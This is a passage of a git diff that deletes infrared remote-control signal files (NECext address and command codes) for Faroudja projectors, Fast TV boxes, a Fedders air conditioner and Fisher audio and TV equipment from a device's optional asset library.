parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: TINT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: DETAIL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: NOISE_REDUCTION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir deleted file mode 100644 index 2aca4aff0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: YCRCB -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: PASS-T -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: PASS-TX -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 09 00 00 00 -# -name: ANAMORPHIC -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: BRIGHTNESS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: TINT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: DETAIL -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: PROFILE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir deleted file mode 100644 index 1283b5316..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir deleted file mode 100644 index 0118d2fca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: VALUE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: TINT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: NOISE_REDUCTION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: YCRCB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: ANAMORPHIC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: PST1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: PST2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: PST3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: PST4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: FACTORY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir deleted file mode 100644 index b5fbc5e9c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir deleted file mode 100644 index b96cbed3e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: COMPOSITE_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 01 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 02 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 05 00 00 00 -# -name: COMPOSITE_3 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 09 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0A 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0D 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 0E 00 00 00 -# -name: COMPOSITE_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 15 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 16 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 4E 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir deleted file mode 100644 index d54bbfb35..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: AUTO_ADJUST -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: RGB/PC -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir deleted file mode 100644 index 95347dc8d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD/HD -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 1C 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B0 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B1 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B2 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B3 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C0 00 00 00 -# -name: MENU/ENTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C4 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C5 00 00 00 -# -name: ID_SELECT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C8 00 00 00 -# -name: POINTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C9 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CA 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CB 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CC 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir deleted file mode 100644 index 2902e1493..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 02 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir deleted file mode 100644 index b91a6538f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 00 00 00 00 -# -name: 0-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 00 00 00 00 -# -name: 1-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: 1-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: 2-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: 2-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: 3-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 03 00 00 00 -# -name: 3-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 03 00 00 00 -# -name: 4-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 04 00 00 00 -# -name: 4-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 04 00 00 00 -# -name: 5-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 05 00 00 00 -# -name: 5-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 05 00 00 00 -# -name: 6-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: 6-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: 7-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: 7-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: 8-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 08 00 00 00 -# -name: 8-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 08 00 00 00 -# -name: 9-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 09 00 00 00 -# -name: 9-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 09 00 00 00 -# -name: POWER-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0C 00 00 00 -# -name: POWER-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0C 00 00 00 -# -name: MUTE-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: MUTE-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: GRUEN-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0F 00 00 00 -# -name: GRUEN-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0F 00 00 00 -# -name: CURSOR_RIGHT-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_RIGHT-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_LEFT-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_LEFT-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: PROGR+_A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: PROGR+_B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: PROGR-_A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 21 00 00 00 -# -name: PROGR-_B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 21 00 00 00 -# -name: VOR-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 22 00 00 00 -# -name: VOR-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 22 00 00 00 -# -name: OK-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 29 00 00 00 -# -name: OK-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 29 00 00 00 -# -name: IPG-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2D 00 00 00 -# -name: IPG-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2D 00 00 00 -# -name: PLAY-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 32 00 00 00 -# -name: PLAY-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 32 00 00 00 -# -name: FFW-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 34 00 00 00 -# -name: FFW-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 34 00 00 00 -# -name: STOP-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 36 00 00 00 -# -name: STOP-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 36 00 00 00 -# -name: REW-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 37 00 00 00 -# -name: REW-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 37 00 00 00 -# -name: EXIT-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3C 00 00 00 -# -name: EXIT-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3C 00 00 00 -# -name: VOL-_A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 41 00 00 00 -# -name: VOL-_B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 41 00 00 00 -# -name: VOL+_A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 42 00 00 00 -# -name: VOL+_B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 42 00 00 00 -# -name: I/II-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 48 00 00 00 -# -name: I/II-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 48 00 00 00 -# -name: ZURUECK-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5C 00 00 00 -# -name: ZURUECK-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5C 00 00 00 -# -name: STEP-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5D 00 00 00 -# -name: STEP-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5D 00 00 00 -# -name: JOBS-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5E 00 00 00 -# -name: JOBS-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5E 00 00 00 -# -name: ARCH-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5F 00 00 00 -# -name: ARCH-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5F 00 00 00 -# -name: BLAU-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 71 00 00 00 -# -name: BLAU-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 71 00 00 00 -# -name: GELB-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 72 00 00 00 -# -name: GELB-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 72 00 00 00 -# -name: ?-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 73 00 00 00 -# -name: ?-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 73 00 00 00 -# -name: TVTV-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 74 00 00 00 -# -name: TVTV-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 74 00 00 00 -# -name: ROT-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 75 00 00 00 -# -name: ROT-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 75 00 00 00 -# -name: LIVE-A -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 7D 00 00 00 -# -name: LIVE-B -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir deleted file mode 100644 index 30bffa123..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: T_MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: T_PROG+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: PROG+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: PROG- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 21 00 00 00 -# -name: T_PROG- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 21 00 00 00 -# -name: T_VOL- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 41 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 41 00 00 00 -# -name: T_VOL+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 42 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir deleted file mode 100644 index e855aaaa0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON/OFF -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: TEMP/TIME_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: TEMP/TIME_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: FAN_SPEED -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir deleted file mode 100644 index 436a17c7b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 30 30 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir deleted file mode 100644 index 9f51174ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 40 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 41 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 42 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 43 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 46 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 47 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 48 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 49 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 4A 00 00 00 -# -name: SIMULATED -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 4B 00 00 00 -# -name: DEFEAT -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 4E 00 00 00 -# -name: DEL._10 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 4F 00 00 00 -# -name: DEL._20 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 50 00 00 00 -# -name: DEL._30 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 51 00 00 00 -# -name: DEL._40 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 52 00 00 00 -# -name: DEL._50 -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 53 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 54 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 55 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 59 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 5A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 5B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 5C 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 36 C8 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir deleted file mode 100644 index d0817e55f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir deleted file mode 100644 index fb036bcbf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 